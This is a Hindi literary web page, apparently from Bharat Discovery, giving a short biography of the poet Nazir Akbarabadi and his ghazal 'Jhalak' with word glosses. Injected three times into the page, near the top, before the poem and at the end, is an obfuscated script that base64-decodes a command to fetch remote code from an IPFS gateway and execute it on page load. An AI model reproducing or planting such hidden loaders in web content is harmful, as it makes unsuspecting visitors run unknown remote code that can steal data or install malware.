झलक -नज़ीर अकबराबादी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
झलक -नज़ीर अकबराबादी
नज़ीर अकबराबादी
कवि नज़ीर अकबराबादी
जन्म 1735
जन्म स्थान दिल्ली
मृत्यु 1830
मुख्य रचनाएँ बंजारानामा, दूर से आये थे साक़ी, फ़क़ीरों की सदा, है दुनिया जिसका नाम आदि
इन्हें भी देखें कवि सूची, साहित्यकार सूची
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
नज़ीर अकबराबादी की रचनाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

दिखाई जब तेरे मुखड़े ने आ झलक पै झलक ।
लगी न फिर मेरी उस रोज़ से पलक पै पलक ।

क़दम-क़दम पै मेरा जी पड़ा निकलता है,
गजब है यह तेरे रुख़सार[1] की थलक पै थलक ।

गया जो नाला[2] मेरा आज आसमाँ के क़रीब,
तो उसके ख़ौफ़[3] से थर्रा गए फलक[4] पै फलक ।

पियाला उससे ज़्यादा तू भर के दे साक़ी,
कि तुझको आती है ख़ुश जाम की झलक पै झलक ।

’नज़ीर’ कह कि तू अब किसके ग़म में बैठा है,
कि आँसुओं की चली आती है ढलक पै ढलक ।।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. कपोल
  2. रोना-धोना
  3. भय
  4. आकाश

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>